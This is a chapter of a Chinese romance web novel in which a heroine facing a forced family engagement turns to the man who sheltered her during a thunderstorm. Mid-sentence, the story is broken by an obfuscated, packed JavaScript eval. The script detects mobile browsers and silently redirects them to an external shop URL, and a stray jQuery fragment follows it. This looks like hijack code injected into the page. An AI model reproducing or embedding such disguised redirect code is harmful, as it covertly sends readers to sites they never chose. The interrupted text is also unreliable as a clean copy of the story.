浴室里雾气弥漫,水珠顺着玻璃蜿蜒滑落。
司梵站在花洒下,憋着气,让温热的水流兜头浇下来。
脸涨得通红,红晕一直蔓延到耳朵和脖颈。
胸腔一下下收紧,喉咙发紧,大脑一片空白。
这种感觉和溺水时一模一样。氧气越来越稀薄,几个模糊的画面在脑子里闪过。
她猛地从花洒下退开,扶着墙大口喘息。
水流顺着后背滑下去,却暖不了脊背彻骨的凉意。
出来时房间已经开了空调,暖风呼呼地吹着。
她穿了件白色吊带丝绸裙,不仅没觉得冷,反而有些热——谁家这个季节就开暖风?
她撇了撇嘴,刚回来就不由分说地让她冲热水澡,这会儿又进她房间开暖风,不用想也知道是谁。
一道惊雷在窗外炸响。
她倏地捂住耳朵,跑上床,扯过被子蜷缩起来。
忽然想起刚才在车里打雷时,陆晏时把手捂在她耳朵上那一幕——
手掌干燥、温暖。
她捞过手机,想再翻翻那条关于他和别人联姻的新闻。
解锁屏幕,一眼看到金秘书发来的消息:明天订婚宴的饭店地址和时间。
她顿时没了看新闻的兴致,把手机扔回桌上。
门外适时地响起两声敲门声。
快十二点了,陆晏时这个时间来找自己做什么?
她犹豫了一会儿,往被子里钻了钻,确保身体全都躲进去,才说了声:“进来。”
陆晏时走进来。
他穿了一件黑色睡袍,头发湿漉漉的,水珠顺着发梢往下滴,显然也是刚洗完澡。
怀里抱着被子和枕头,懒洋洋地撩着眼皮看过来,声音有点哑:“雷声太大,我能不能等停了再走?”
司梵一怔。
他是因为她害怕打雷,特意来的。
一滴水从他的发尾滑落,顺着锁骨往下淌,滑过紧实的胸膛,没入更深处。
他的领口敞着,那滴水划过的地方带着一点湿意。
她移开视线,伸手指了指一侧的沙发:“睡那儿。”
外面倾盆大雨,屋内一室昏暗。
暖气呼呼地响着,房间里的温度节节攀升。
多了一个人在,她倒是不那么怕雷声了。
可这么小的房间里,不远处睡着个活生生的人,她没法当他不存在。
翻来覆去睡不着,被子盖得严严实实的,胳膊腿都捂在里面,没过多久就浑身冒汗。
越躺越燥热。
正难受着,暗处忽然响起一道低哑的嗓音:“睡不着?”
“……你也没睡?”
“嗯。聊聊?”
“……你先把空调关了……热。”
其实中央空调的开关就在床头,但她要是起身去够,难免会露出些。
房间虽然暗,可万一被他看见,说不清还引起误会。
没多久,沙发那边传来窸窣声响,接着是拖鞋摩擦地毯的声音。
一道人影缓缓靠近,陆晏时走到床边,弯腰俯下身。
昏暗之中,她看不清他的脸,只能隐约辨出一个轮廓。
但他的呼吸近在耳侧,带着清冽的木质淡香,若有若无地,很难忽略。
陆晏时伸手去按开关,耳边传来几声滴滴的轻响。
他还在按,司梵皱了眉——
关个空调一下就行了,为什么要按这么久?
不知道他在捣鼓什么,只觉得他的呼吸若有若无地喷到她侧脸上。
耳侧麻了一下,她下意识侧了侧头,往旁边躲。
过了片刻,他终于直起身,那股压迫感才慢慢消失。
司梵终于松了口气,却发现他根本没走,就站在床边,像是在看她。
她刚洗完澡,身下真空,他想做什么轻而易举。
她的心又提起来,后悔不该让他进来。
只能屏住呼吸盯着他,黑暗中那道侵略性的视线若有似无。正想让他回去,就听他懒洋洋地说:“那天的事,谢谢。”
这几日她一直躲着他,他始终没找到机会说出这句话。谢她挡在自己身前,谢她掷地有声的维护,也谢她——
明明知道被利用,还是熬夜照顾他。
陆晏时说完之后,司梵久久没有出声。
她知道他说的是哪件事。
不知是不是开了冷气,房间里的温度在缓缓下降,她的脑子开始一点一点清醒。
她说:“陆晏时,你不用谢我。其实那天我没想那么多,我只是看你跪在那里,莫名地想起自己——
“我在想,如果此刻换成我跪在那儿,会不会也希望有一个人义无反顾地挡在我面前,与我一起对抗全世界。
“然后我就冲出去了。
“你明白了吗?
“换成是谁,我都会那么做。”
她在告诉他,不要对她抱有任何幻想。她做的只是她内心希望的事,与他无关。
房间里久久没有回应,司梵以为他会生气质问或是转身离开。
但陆晏时没有。
他听懂了,却还是说:“没有别人,那个人是我。”
所以,不管你怎么否认,我认定你想帮助的人是我,也只能是我。
雷声什么时候停的,她不知道。
陆晏时什么时候离开的,她也不知道。
这一夜她睡得很累,梦里反复都是他最后说的那句话。
-
司梵故意迟到了整整一个小时。
昨晚那份资料她翻都没翻,也根本不在乎联姻对象是谁。
反正无论是谁、无论她愿不愿意,都不重要。
她存心想让两家难堪,最好能闹得不欢而散。
结果推开门的瞬间,她就被兜头浇了一盆冷水——从头凉到脚,心瞬间坠入地狱。
司倾梅坐在主位上,面色如常,见她来了,眼皮都没抬一下。
旁边坐着一对中年夫妇,女的眉眼温婉,男的端方持重,正端着茶杯姿态闲适地同司倾梅说话。
要跟她订婚的人还没到,氛围其乐融融。
司梵扶着门框的手一点一点收紧,不敢相信地死死盯着司倾梅——
季家!
跟她联姻订婚的对象,竟然是季家!
她站在门口久久不进门,连招呼也不打,眼里的怒火几乎要喷出来。
这副态度惹恼了司倾梅,她抬起眼,目光淡淡从司梵脸上扫过,忽视了她的滔天怒意,冷声道:“喊人。连这点教养都忘了?”
司梵此刻恨不得连桌子都掀了,哪有心情叫人?
她一个箭步冲进去,正要发飙,却见眉眼温婉的妇人缓缓起身,离开座位朝她走来。
唐代芹亲昵地挽上她的胳膊,笑得温柔又端庄。
司梵本来还抱有一丝幻想,希望不是自己想的那样。
可唐代芹一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634384|206516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话就把她再次打入地狱:“梵梵,芹姨替星煦给你赔个不是。集团临时有个突发状况需要他,处理好了立即就赶过来。来,我们先坐下。我刚和你妈妈在聊你们婚礼的准备事宜,你看看你有什么要求,尽管提,芹姨无有不应。”
司梵忽然觉得冷。
一股寒气从心底、从骨头里冒出来,一点点渗到全身。
她看着司倾梅,后者淡淡地和她对视。
后知后觉——
司倾梅昨天晚上的确是故意的。
故意激怒她,让她的全部注意力都集中在恨意上,无暇去关心联姻对象的身份,才有了今天这一幕。
她这个妈,总是会给她惊喜。
司梵把胳膊从唐代芹手中抽回,冷冷扫了所有人一眼,冷声问:“我只问你们一句——季星澄知道这件事吗?”
唐代芹脸上的笑容僵硬了一瞬,又恢复温婉的模样:“两家联姻的大事,自然会知会星澄这孩子。况且你们一直要好,他知道会更高兴。这是多好的事。”
好他妈的好!
季星澄如果知道这件事,绝不会放任她被迫嫁给他哥。
但他也知道——
以他现在演员的身份,司倾梅绝不会同意他俩在一起。
所以只有一个办法……
但一夜过去了。
关于这件事,他一个字都没跟她提过。
这不正常。
所以他们肯定是临时才告诉他的。
她不敢去想,此刻的他,正在被迫做出什么样的决定。
她掏出手机给季星澄打电话,电话响了很久没人接,再打就打不通了。她放下手机,看着眼前讽刺的一幕。
一个为了家族利益而逼女儿上绝路的母亲,一对为了斩断儿子演戏梦而无所不用其极的父母。
豪门无真情。
全是算计与利益。
司倾梅坐在对面,用一种近乎怜悯的胜利者姿态,向她宣判——
看吧。
我给过你机会。
可你偏偏要对着干。
那你就得为自己的选择付出代价。
认清现实吧。
你终究还是要低头,终究还是留不住任何想要留住的东西。
别挣扎了。
乖乖投降。
乖乖走上我为你铺好的那条路——
众叛亲离,无情无欲。
有那么一瞬间,她想,不如就算了。
做个傀儡也没什么不好。
起码不会像现在这样,深陷淤泥,苦苦挣扎,力气耗尽。
反正到最后,结果都是一样的。
被吞噬殆尽。
她张了张嘴,想说好……
手机突然在这个时候响了。
她的心跳毫无预兆地加速,一下,一下,在看到来电显示上那个名字的瞬间达到最高速,几乎要从胸腔里跳出来。
就好像冰天雪地,无底深潭,阳光忽然从头顶照下来。
在她即将沉入泥沼的瞬间,有人拉住了她的手。
给了她一线生机。
那边还没来得及开口,她已经听见自己的声音:“陆晏时,你愿意和我结婚么?”
听筒里安静了几秒。
门外走廊上由远及近地响起皮鞋声,一下一下,不疾不徐,最后在她身后停住。
不知是电话里还是身后,响起男人懒洋洋的嗓音:
“求之不得。”